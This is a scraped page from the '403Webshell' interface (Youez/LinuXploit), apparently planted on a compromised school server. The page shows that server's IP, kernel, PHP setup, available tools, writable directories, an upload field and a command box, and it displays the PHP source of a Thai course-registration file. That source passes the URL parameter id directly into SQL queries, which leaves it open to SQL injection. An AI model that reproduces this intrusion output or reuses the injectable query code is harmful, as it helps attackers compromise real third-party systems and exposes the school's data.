403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.59
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/gpa/Secure/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/gpa/Secure//edit1.php.bak
<?php include("../config/configuser.inc.php");?>
<?
require_once "../config/connectdb.php";
require_once "../head.php";
?>
<html>
<head>
<title>ระบบงานวิชาการ</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="style.css" rel="stylesheet" type="text/css">
</head>

<body>
<table width="80%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr> 
    <td bgcolor="#003399">
<div align="center"><font color="#FFFFFF" size="+1"><strong>โครงการ<font color="#FFFF00">ระบบงานวิชาการ</font></strong></font></div></td>
  </tr>
  <tr> 
    <td bgcolor="#FFFFFF"><table width="100%" border="0" cellspacing="1" cellpadding="1">
        <tr> 
          <td><div align="right"><font color="#ff0000" size="2"><font color="#333333">ยินดีต้อนรับ 
              :</font> <font color="#ff0000"> <?=$objResult["Username"];?> <?=$objResult["Name"];?> <?=$objResult["lastname"];?>
              <font color="#666666">เข้าสู่ระบบค่ะ </font></font></font></div></td>
        </tr>
        <tr> 
          <td><div align="right"><font color="#666666" size="2"><a href="../user_page.php">หน้าหลักระบบ</a> 
              | <a href="logout.php">ออกจากระบบ</a></font></div></td>
        </tr>
        <tr> 
          <td><div align="center">
              </td>
			   </tr>
              </table>
              <table width="100%" border="0" align="center" cellpadding="1" cellspacing="1">
                <tr> 
                  <td>&nbsp;***กรุณาสอบถามใจตัวเองว่าต้องการเรียนอะไร...ก่อนยืนยันข้อมูล</td>
                </tr>
                <tr>
                  <td><div align="center"> 
                      
                      <font size="+1"><strong><font color="#003366" size="2">
                      <?php
						  $sql_1="select * from  registeacher where idregist = '$_GET[id]'";
						  $db_query=mysql_db_query($db,$sql_1);
						  $result1=mysql_fetch_array($db_query);
						  $idmember  =$result1['idregist'];
						  $registeach  =$result1['registeach'];
						   $codeteach  =$result1['codeteach'];
							$room  =$result1['room'];
							$codcod  =$result1['codcod'];
							$roomteach  =$result1['roomteach'];
							$grupt  =$result1['grupt'];
							$dayt  =$result1['dayt'];
							$timeinm  =$result1['timeinm'];
							$totalt  =$result1['totalt'];
							$statusteach  =$result1['statusteach'];
							$idu  =$objResult["Username"];
							$name =$objResult["Name"];
							$class =$objResult["cllass"];
							$planxx =$result1['ncode'];
						


						?>
                      </font></strong></font> </div>
                    <table width="100%" border="0" align="center" cellpadding="1" cellspacing="1">
                      <form method="post" action="addsave1.php"  name="webForm" onSubmit="checkNationalID(webForm)">
                        <tr> 
                          <td width="140"><div align="right"><font color="#333333" size="2">รหัสวิชา 
                              :</font></div></td>
                          <td><font size="3">
                            <input name=codin  id=codin  type=text class="input" size=35 maxlength ="50" value='<? echo "$codeteach"; ?>' readonly='readonly'>
                            </font></td>
                        </tr>
						 
						<tr> 
                          <td><div align="right"><font color="#333333" size="2">ครู
                              :</font></div></td>
                          <td><font size="3">
                            <input name=teachin  id=teachin  type=text class="input" size=35 maxlength ="50" value='<? echo "$registeach"; ?>' readonly='readonly'>
                            </font></td>
                        </tr>
						

						<tr> 
                          <td><div align="right"><font color="#333333" size="2">กลุ่ม
                              :</font></div></td>
                          <td><font size="1">
                           <input name=idgrupin   id=idgrupin   type=text class="input" size=1 maxlength ="1" value='<? echo "$grupt"; ?>' readonly='readonly'>
                            </font></td>
                        </tr>
						<tr> 
                          <td><div align="right"><font color="#333333" size="2">วัน
                              :</font></div></td>
                          <td><font size="1">
                           <input name=dayin   id=dayin   type=text class="input" size=1 maxlength ="1" value='<? echo "$dayt"; ?>' readonly='readonly'>
                            </font></td>
                        </tr>
						<tr> 
                          <td><div align="right"><font color="#333333" size="2">แผนการเรียน
                              :</font></div></td>
                          <td><font size="1">
                           <input name=planx   id=planx type=text class="input" size=1 maxlength ="1" value='<? echo "$planxx"; ?>' readonly='readonly'>
                            </font></td>
                        </tr>
						<tr> 
                          <td><div align="right"><font color="#333333" size="2">นักเรียน
                              :</font></div></td>
                          <td><font size="3">
                            <input name=idstin id=idstin type=text class="input" size=50 value='<? echo "$idu"; ?>' readonly='readonly' >
                            </font></td>
                        </tr>
						
						<?
$sql_1="select * from  configinstall where configclass = '$class'";
						  $db_query=mysql_db_query($db,$sql_1);
						  $result=mysql_fetch_array($db_query);
						  $configinstall  =$result['configinstall'];
						  
						   
?>

                        <tr>
                          <td><font color='red' size='3'>เลือกเพิ่มเติมได้&nbsp;<? echo  $configinstall?>&nbsp;วิชา</font></td>
                          <td>
				


						  <?
									$crsql="SELECT count(idstin) FROM `transcriptintall`
									WHERE  idstin = '$idu'";
									$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
									$dcrd = mysql_fetch_array($slr);
									$slipnum_0=$dcrd[0];

									?><font color='red' size='3'>เลือกแล้ว

						  <? echo number_format($slipnum_0); ?>&nbsp;&nbsp;วิชา &nbsp;&nbsp;</font>

<? if($slipnum_0==$configinstall)
 {
   echo "เลือกครบแล้ว";
 }
 else if($slipnum_0>$configinstall)
 {
   echo "เกิน ถอนรายวิชาที่ไม่เรียนออก";
 }
 else
 {
   echo "<input name=submit type=submit class=submit value=เพิ่มข้อมูล > 
                            <input name=submit2 type=reset class=submit value=ยกเลิกข้อมูล >";
 }
?>




						  </td>
                        </tr>
                      </form>
                    </table></td>
                </tr>
              </table>
            </div></td>
        </tr>
        <tr>
          <td></td>
        </tr>
      </table></td>
  </tr>
  <tr>
    <td><div align="center"><? echo "<font size=2 color=#ffffff>$footerweb</font>"; ?></div></td>
  </tr>
</table>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit